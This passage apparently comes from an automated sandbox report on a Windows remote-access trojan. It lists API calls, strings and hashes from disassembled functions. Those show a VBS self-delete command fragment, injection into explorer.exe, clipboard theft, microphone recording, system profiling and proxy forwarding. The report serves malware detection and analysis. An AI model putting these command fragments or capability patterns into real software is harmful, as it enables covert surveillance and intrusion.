                        • Part of subcall function 004136F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                        • Part of subcall function 004136F8: RegQueryValueExA.KERNEL32 ref: 0041372D
                        • Part of subcall function 004136F8: RegCloseKey.KERNEL32(00000000), ref: 00413738
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                      • ExitProcess.KERNEL32 ref: 0040D9C4
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                      • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                      • API String ID: 1913171305-3159800282
                      • Opcode ID: 524a6ee67eac097be960b5c691f7399128dd62eb0b1fd7f322d11bf520c9c063
                      • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                      • Opcode Fuzzy Hash: 524a6ee67eac097be960b5c691f7399128dd62eb0b1fd7f322d11bf520c9c063
                      • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                      Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID:
                      • API String ID: 269201875-0
                      • Opcode ID: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                      • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                      • Opcode Fuzzy Hash: 47079874d6611f76b22abc1c1892e8562d414d23f3395fd45a7677fdf32a9ec5
                      • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                      Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6
                      • GetLastError.KERNEL32 ref: 00455CEF
                      • __dosmaperr.LIBCMT ref: 00455CF6
                      • GetFileType.KERNEL32 ref: 00455D02
                      • GetLastError.KERNEL32 ref: 00455D0C
                      • __dosmaperr.LIBCMT ref: 00455D15
                      • CloseHandle.KERNEL32(00000000), ref: 00455D35
                      • CloseHandle.KERNEL32(?), ref: 00455E7F
                      • GetLastError.KERNEL32 ref: 00455EB1
                      • __dosmaperr.LIBCMT ref: 00455EB8
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                      • String ID: H
                      • API String ID: 4237864984-2852464175
                      • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                      • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                      • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                      • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                      Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                      Download Yara Rule
                      APIs
                      • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
                      • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                      • __alloca_probe_16.LIBCMT ref: 00453EEA
                      • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                      • __alloca_probe_16.LIBCMT ref: 00453F94
                      • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                      • __freea.LIBCMT ref: 00454003
                      • __freea.LIBCMT ref: 0045400F
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                      • String ID: \@E
                      • API String ID: 201697637-1814623452
                      • Opcode ID: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                      • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                      • Opcode Fuzzy Hash: b82298bc980002c4571abe1a7b6d85811e1f97afd47d25fecd247c7af7e2facf
                      • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                      Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID: \&G$\&G$`&G
                      • API String ID: 269201875-253610517
                      • Opcode ID: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                      • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                      • Opcode Fuzzy Hash: 97c3add27e511c4221db80506819b16e682529302af84ee57927f6cd57728be0
                      • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                      Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID:
                      • String ID: 65535$udp
                      • API String ID: 0-1267037602
                      • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                      • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                      • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                      • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                      Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                      • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                      • __dosmaperr.LIBCMT ref: 0043A8A6
                      • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                      • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                      • __dosmaperr.LIBCMT ref: 0043A8E3
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                      • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                      • __dosmaperr.LIBCMT ref: 0043A937
                      • _free.LIBCMT ref: 0043A943
                      • _free.LIBCMT ref: 0043A94A
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                      • String ID:
                      • API String ID: 2441525078-0
                      • Opcode ID: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                      • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                      • Opcode Fuzzy Hash: ad6d2cb2e677ca1b0a2e36bb2f761ff70c692d274a08f618d4296a8b89361871
                      • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                      Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • SetEvent.KERNEL32(?,?), ref: 004054BF
                      • GetMessageA.USER32 ref: 0040556F
                      • TranslateMessage.USER32(?), ref: 0040557E
                      • DispatchMessageA.USER32 ref: 00405589
                      • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                      • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                      • String ID: CloseChat$DisplayMessage$GetMessage
                      • API String ID: 2956720200-749203953
                      • Opcode ID: 88e8421c785f4850f875643b0878d9a567a5e649d40fb6d5e7bbeeafb2dbd22e
                      • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                      • Opcode Fuzzy Hash: 88e8421c785f4850f875643b0878d9a567a5e649d40fb6d5e7bbeeafb2dbd22e
                      • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                      Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                      • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                      • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                      • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                      • String ID: 0VG$0VG$<$@$Temp
                      • API String ID: 1704390241-2575729100
                      • Opcode ID: f9dca7dd06046e6c411ba29df404d481f290ae67984b7d40cebbfb2df60e7368
                      • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                      • Opcode Fuzzy Hash: f9dca7dd06046e6c411ba29df404d481f290ae67984b7d40cebbfb2df60e7368
                      • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                      Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                      Download Yara Rule
                      APIs
                      • OpenClipboard.USER32 ref: 00416941
                      • EmptyClipboard.USER32 ref: 0041694F
                      • CloseClipboard.USER32 ref: 00416955
                      • OpenClipboard.USER32 ref: 0041695C
                      • GetClipboardData.USER32 ref: 0041696C
                      • GlobalLock.KERNEL32 ref: 00416975
                      • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                      • CloseClipboard.USER32 ref: 00416984
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                      • String ID: !D@
                      • API String ID: 2172192267-604454484
                      • Opcode ID: 22318caa46b03491db73261d90afa6b2702e1cfc59c73c6bb5b0d0ad4bd6099c
                      • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                      • Opcode Fuzzy Hash: 22318caa46b03491db73261d90afa6b2702e1cfc59c73c6bb5b0d0ad4bd6099c
                      • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                      Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                      Download Yara Rule
                      APIs
                      • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                      • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                      • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                      • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Service$CloseHandle$Open$ControlManager
                      • String ID:
                      • API String ID: 221034970-0
                      • Opcode ID: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                      • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                      • Opcode Fuzzy Hash: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                      • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                      Function 100059D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 100059EA
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 100059F6
                      • _free.LIBCMT ref: 10005A01
                      • _free.LIBCMT ref: 10005A0C
                      • _free.LIBCMT ref: 10005A17
                      • _free.LIBCMT ref: 10005A22
                      • _free.LIBCMT ref: 10005A2D
                      • _free.LIBCMT ref: 10005A38
                      • _free.LIBCMT ref: 10005A43
                      • _free.LIBCMT ref: 10005A51
                      Memory Dump Source
                      • Source File: 00000008.00000002.884753658.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 00000008.00000002.884749349.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.884753658.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                      • Instruction ID: 60753d52f1e9cb5801f9add085180c5dd3fc305f79823ad6bc57240ee419c635
                      • Opcode Fuzzy Hash: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                      • Instruction Fuzzy Hash: BE11B97E514548FFEB11DF58D842CDE3FA9EF04291B4540A1BD088F12ADA32EE50AB84
                      Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 00448135
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00448141
                      • _free.LIBCMT ref: 0044814C
                      • _free.LIBCMT ref: 00448157
                      • _free.LIBCMT ref: 00448162
                      • _free.LIBCMT ref: 0044816D
                      • _free.LIBCMT ref: 00448178
                      • _free.LIBCMT ref: 00448183
                      • _free.LIBCMT ref: 0044818E
                      • _free.LIBCMT ref: 0044819C
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                      • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                      • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                      • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                      Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Eventinet_ntoa
                      • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                      • API String ID: 3578746661-3604713145
                      • Opcode ID: 3f323f4ffe0e9f00f0cfe05f10ad5e2660b94c97f0f7c28726afa41c7fe36cdd
                      • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                      • Opcode Fuzzy Hash: 3f323f4ffe0e9f00f0cfe05f10ad5e2660b94c97f0f7c28726afa41c7fe36cdd
                      • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                      Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DecodePointer
                      • String ID: acos$asin$exp$log$log10$pow$sqrt
                      • API String ID: 3527080286-3064271455
                      • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                      • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                      • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                      • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                      Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • Sleep.KERNEL32(00000064), ref: 00417521
                      • DeleteFileW.KERNEL32(00000000), ref: 00417555
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CreateDeleteExecuteShellSleep
                      • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                      • API String ID: 1462127192-2001430897
                      • Opcode ID: 16364c1897529391295d412ac0c8bd5d579eac589ee2064f359b93f2d9aa00dd
                      • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                      • Opcode Fuzzy Hash: 16364c1897529391295d412ac0c8bd5d579eac589ee2064f359b93f2d9aa00dd
                      • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                      Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                      Download Yara Rule
                      APIs
                      • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                      • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe), ref: 0040749E
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CurrentProcess
                      • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                      • API String ID: 2050909247-4242073005
                      • Opcode ID: 105ebb0f8990cefe91757f1d0024cf73e91af1221990972c55416f3ee457c51f
                      • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                      • Opcode Fuzzy Hash: 105ebb0f8990cefe91757f1d0024cf73e91af1221990972c55416f3ee457c51f
                      • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                      Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                      Download Yara Rule
                      APIs
                      • _strftime.LIBCMT ref: 00401D50
                        • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                      • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                      • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                      • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000008.00000002.883789126.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 00000008.00000002.883789126.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                      • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                      • API String ID: 3809562944-243156785
                      • Opcode ID: ad8ba90a2921d66a3c12ccf8c1a2d8e4c0e0e91c69b7ff21a65ebece821e0ee7
                      • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
